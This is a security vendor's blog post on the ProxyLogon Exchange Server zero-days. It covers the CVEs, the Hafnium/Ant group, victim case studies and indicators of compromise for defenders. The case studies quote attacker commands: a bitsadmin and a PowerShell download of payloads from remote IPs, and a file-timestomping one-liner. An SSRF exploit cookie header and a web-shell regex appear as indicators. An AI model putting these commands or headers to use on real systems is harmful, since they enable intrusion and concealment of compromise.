How Symantec Stops Microsoft Exchange Server Attacks

By About the Author

Archived: 2026-04-06 01:19:42 UTC

Blog updated March 11: Case studies detailing post-compromise activity seen by Symantec added, along with additional IoCs

Blog updated March 9: IoCs, additional signatures, and pre-exploitation process diagram added.

Users of Microsoft Exchange Server are advised to update to the latest version immediately, as a growing number of attackers are attempting to exploit four recently patched zero-day vulnerabilities in the software.

Microsoft released emergency patches last week (March 2) for the four vulnerabilities, which were being exploited by attackers in the wild. At the time, Microsoft said these vulnerabilities were being exploited by an advanced persistent threat (APT) group it dubbed Hafnium (Symantec tracks this group as Ant) in targeted attacks. However, since then it has been reported that multiple threat actors have been rushing to exploit these vulnerabilities in Exchange Server.

Two of the vulnerabilities (CVE-2021-26855 and CVE-2021-27065) and the technique used to chain them together for exploitation have been given the name "ProxyLogon" by security company DevCore. Successful exploitation of ProxyLogon allows attackers to gain a foothold on a targeted network, potentially leading to further compromise and data exfiltration.

Symantec customers are protected from attacks exploiting these vulnerabilities.

Q. When did we first find out about these attacks?

Microsoft released an out-of-band patch to address the vulnerabilities in Exchange Server on March 2, 2020. The versions impacted are Exchange Server 2013, 2016, and 2019. Security firm Volexity, which Microsoft credited in its security alert detailing the vulnerabilities, said it first saw attackers exploiting the bugs on January 6, 2021.

Q. Why are these vulnerabilities so dangerous?

Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, allowing them to gain persistent system access, access to files and mailboxes on the server, and access to credentials stored on the system. Successful exploitation may also allow attackers to compromise trust and identity in a vulnerable network. This gives attackers extensive access to infected networks, allowing them to steal potentially highly sensitive information from victim organizations.

Q. What are the vulnerabilities being exploited?

The four zero-day vulnerabilities that Microsoft released emergency patches for are:

- CVE-2021-26855: This allows an unauthenticated attacker to send arbitrary HTTP requests and authenticate as the Exchange Server. The vulnerability exploits the Exchange Control Panel (ECP) via server-side request forgery (SSRF). This would also allow the attacker to gain access to mailboxes and read sensitive information. This forms the "ProxyLogon" exploit when chained with CVE-2021-27065.
- CVE-2021-27065: Allows for remote code execution. It is a post-authentication arbitrary write file vulnerability in Exchange. An attacker authenticated by using CVE-2021-29855 (as in the ProxyLogon attacks) or via stolen credentials, could write a file to any path on the server.
- CVE-2021-26858: Is a similar arbitrary write file vulnerability to CVE-2021-27065, and can be exploited in a similar manner.
- CVE-2021-27857: Is an insecure deserialization vulnerability in the Unified Messaging service. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could execute arbitrary code as SYSTEM on the Exchange Server.

The following diagram shows an attack chain that an attacker could employ to gain initial access to data.

Q. Who is Hafnium/Ant?

Hafnium, which Symantec tracks as Ant, was the group first seen exploiting the vulnerabilities in Exchange Server, according to Microsoft. It said at the time that Ant was exploiting the zero days to carry out "limited and targeted attacks." Microsoft said Ant used the vulnerabilities "to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments." Microsoft stated with "high confidence" that the group was state-sponsored and operating out of China. It also said the group principally attacked targets in the U.S., including infectious disease researchers, law firms, educational institutes, defense contractors, policy think tanks, and NGOs.

Security firm Veloxity also said the group was seen deploying web shells on infected systems to allow for remote access. Among the web shells Veloxity said it saw deployed were China Chopper variants and ASPXSPY. Veloxity also reported seeing the group carry out post-compromise activity such as credential dumping, lateral movement via PsExec, and archiving (likely in preparation for exfiltration of data). Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang. It is likely the group was using publicly available web shells and post-compromise tools in order to make attribution of the activity more difficult.

Q. Is Ant still the only group exploiting these vulnerabilities?

No, since Microsoft released the emergency patches for these vulnerabilities on March 2, attacks attempting to exploit these vulnerabilities have escalated, with "multiple malicious actors beyond Hafnium" attempting to target unpatched systems, according to Microsoft.

Q. Is this a targeted attack?

The initial attacks carried out by Ant appear to have been targeted, but the large number of threat actors now attempting to exploit these vulnerabilities mean these attacks are now more indiscriminate in nature.

Q. What steps can I take to protect my network?

While Symantec customers are protected from attacks attempting to exploit those vulnerabilities, all users of Exchange Server are advised to update to the most recent version immediately. Microsoft has also released a detection tool that allows you to scan your Exchange Server logs to determine if your server was compromised. The Cybersecurity and Infrastructure Security Agency (CISA) in the U.S. has advised that all users of Exchange Server scan their systems using Microsoft's tool, as well as issuing an Emergency Directive to instruct all federal agencies to immediately update their Exchange servers.

Case Studies – Post-compromise activity

Symantec researchers have observed post-compromise activity on a small number of customer machines, where attackers' initial point of entry appears to have been through exploiting the vulnerabilities in Microsoft Exchange. In two cases, Symantec researchers observed activity prior to the release of Microsoft's patches on March 2.

Victim 1

In one victim, a telecoms company in the Middle East, we saw activity as far back as January 2021. China Chopper web shells were present on this victim's network on January 13. China Chopper web shells were used by Ant (aka Hafnium) in the initial attacks leveraging these vulnerabilities according to reports by Veloxity. On January 29, a suspicious PowerShell command was executed to download files from a domain masquerading as a popular cloud hosting provider.

A few days later, on February 1, a suspicious command was executed to create a scheduled task, which executed "debug.bat" several hours later. The task was named "test", which may indicate that the attackers were using this as a way to test scheduled tasks. Some hours later, the attackers ran "net start vdir", which was used to launch a service that had likely been installed by the attackers.

On February 6, a suspicious file (sok.wia) was downloaded by the attackers and was used to establish a connection with a remote host.

- *sok.wia 94.177.123.16 443 CSIDL_PROFILE*

It is likely this connection was used by the attackers to assist in exfiltration because, shortly afterwards, credential-dumping tool Mimikatz was used to dump credentials from the system. The next day, the attackers again use sok.wia, before creating a scheduled task on a remote server (likely using stolen credentials) to execute a "server.bat" file.

The next activity was seen on February 18 when Mimikatz was executed once again, and then on February 19 ProcDump was used to dump Isass to "he.dmp", which can be used to harvest credentials. Then later, on March 3, a suspicious file was observed in %Temp%\in.exe, followed by a suspicious file ({71736495-d485-477d-b836-17f0085e0780}.exe) being extracted via the WinRAR archive tool which creates a malicious file in %system%\inetsrv\XmlLite.dll. This was the last activity seen on this machine.

Victim 2

Another victim, this one operating in the legal sector in Southeast Asia, saw activity on its network beginning on February 28. This was before Microsoft issued patches for the exploited vulnerabilities, but it has been reported by

Veloxity that it saw activity ramping up since February 28, so it is possible information about these vulnerabilities had been leaked in the cyber crime fraternity by this time.

The first activity on this machine on February 28 was a command used to dump credentials that was executed via the w3wp.exe process. On the same day ProcDump was used to dump Isass, which can be used to harvest credentials. The next day, March 1, a file called ‘uawmiver.exe’ was executed to bypass user account control (UAC). This was used to execute two batch files called “set.bat” and “set1.bat”.

On March 3, a command was used to execute another unknown batch file, which was downloaded by bitsadmin from a remote host:

"CSIDL_SYSTEM\bitsadmin.exe" /rawreturn /transfer getfile http://89.34.111.11/3.avi CSIDL_PROFILE\public\2.bat

We then saw obfuscated PowerShell commands being executed and used to download a file from a remote host.

```
(new-object System.Net.WebClient).DownloadFile('hxxp://86.105.18.116/news/code','C:\users\public\opera\code')
```

The next day, March 4, another PowerShell command was executed that searched for "layout.aspx" and "iistart.aspx". The last access and creation times were modified to August 21, 2017.

powershell.exe -command "dir |where {$_.name -eq 'layout.aspx' -or $_.name -eq 'iistart.aspx' } | foreach-object { $_.LastWriteTime = '2017-08-21 20:26:57';$_.LastAccessTime = '2017-08-21 20:26:57'; $_.CreationTime = '2017-08-21 20:26:52' }"

This was likely done to help conceal the malicious files and thwart any incident response investigations.

7-Zip was then used to extract the contents of a ZIP archive (current.zip) that was uploaded to the Exchange server by the attackers, before the file “current.exe” was executed, which injected CobaltStrike beacon to a newly-created “svchost.exe” process for backdoor access. Several hours after this, ntdsutil was used to dump credentials once again.

Following this, a file called "mv.exe", which is likely Mimikatz, was executed to dump credentials. This is followed by ProcDump being used to dump lsass to harvest additional credentials. Shortly after this, an unknown file "ccsvchst.exe" was executed, which passes a collected hash.

Finally, the attackers launched the publicly available "secretsdump" tool, to dump credentials stored in the registry. Then, on March 8, the attackers ran Mimikatz to try to dump credentials again. This was the last activity seen on this machine.

Other victims

We also observed some post-compromise activity in a small number of other organizations since Microsoft issued their patches on March 2, when activity ramped up significantly as it is believed a large number of threat actors were rushing to exploit these vulnerabilities.

Some of the tools we saw used in post-compromise activity in those impacted since March 2 include:

- PowerShell
- BITSAadmin
- Certutil
- Cobalt Strike
- EarthWorm tunnel tool
- Stowaway multi-hop proxy tool
- China Chopper web shells
- ReGeorg web shells (seen by Veloxity used in previous Exchange attacks)
- Chisel
- Adfind
- PsExec
- Mimikatz
- ProcDump

In one case we also saw the attackers deleting shadow copies from infected machines, which is activity we typically see when attackers are preparing to carry out a ransomware attack, though we did not observe ransomware deployed on the machine.

The extensive use of living-off-the-land and open-source tools and tactics by the attackers leveraging these vulnerabilities make attribution of these attacks difficult and means that a wide number of different threat actors may be responsible for these attacks.

With activity exploiting these vulnerabilities seen by Symantec as recently as March 9, these attacks are ongoing, and all users of Microsoft Exchange Server are urged to scan their environment and apply patches immediately.

Protection

File-based:

- Exp.CVE-2021-26855
- ISB.Downloader!gen313
- Backdoor.Trojan
- Hacktool
- Hacktool.Regeorg
- Hacktool.Nishang
- Trojan.Chinchop
- Trojan.Chinchop!gen3
- Trojan.Chinchop!gen4

Network-based:

- Attack: Microsoft Exchange Server CVE-2021-26855
- Web Attack: Microsoft Exchange Server CVE-2021-26857

- Attack: AntSword Activity
- Web Attack: WebShell Access Attempt
- Web Attack: WhatWeb Scanner Request
- System Infected: Malicious PowerShell Script Download 4
- System Infected: Malicious PowerShell Script Download 5
- System Infected: Trojan.Backdoor Activity 404
- Web Attack: WebShell Access Attempt 2
- Web Attack: ASP WebShell Upload Attempt

Data Center Security:

- Data Center Security (DCS) Intrusion Prevention (with default policies) provides zero-day protection against the deployment of webshells on Exchange Servers, including those used in these attacks.

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise (IoCs)

The presence of the following indicators on your network may help you determine if you've already been exploited.

ProxyLogon

File indicators

- The following regex can be used to help identify suspicious aspx/webshells:

.(\\aspnet_client\\|\\owa\\auth\\|\\ecp\\auth\\).*\.aspx*

Network indicators

- A HTTP GET request for /owa/auth/x.js with the following cookie header set may indicate a possible exploit attempt:

X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3

Log file indicators

- Check for CMD output in Exchange's ECP Server logs:

S:CMD=Set-OabVirtualDirectory.ExternalUrl=

- Check IIS web server logs for following URI path:

/ecp/DDI/DDIService.svc/SetObject

Microsoft Scanning Tool

- This tool allows you to scan your Exchange Server logs to determine if your server was compromised.

https://github.com/microsoft/CSS-Exchange/tree/main/Security
